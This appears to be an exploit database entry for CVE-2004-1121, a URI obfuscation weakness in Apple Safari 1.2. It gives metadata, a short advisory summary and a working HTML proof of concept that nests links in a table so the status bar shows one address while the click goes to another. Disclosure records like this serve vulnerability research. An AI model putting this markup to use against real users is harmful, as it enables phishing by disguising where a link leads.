Apple Safari 1.2 Web Browser - TABLE Status Bar URI Obfuscation

Author: Gilbert Verdian
type: remote
platform: osx
port: 
date_added: 2004-11-01 
date_updated: 2013-03-11 
verified: 1 
codes: CVE-2004-1121;OSVDB-12203 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/11573/info

A URI obfuscation weakness reportedly affects the Apple Safari Web Browser.

This issue may be leveraged by an attacker to display false information in the status bar of an unsuspecting user, allowing an attacker to present web pages to users that seem to originate from a trusted location.

<a href="http://www.example1.com/"><table><tr><td><a
href="http://www.example2.com/">Click here</td></tr></table></a>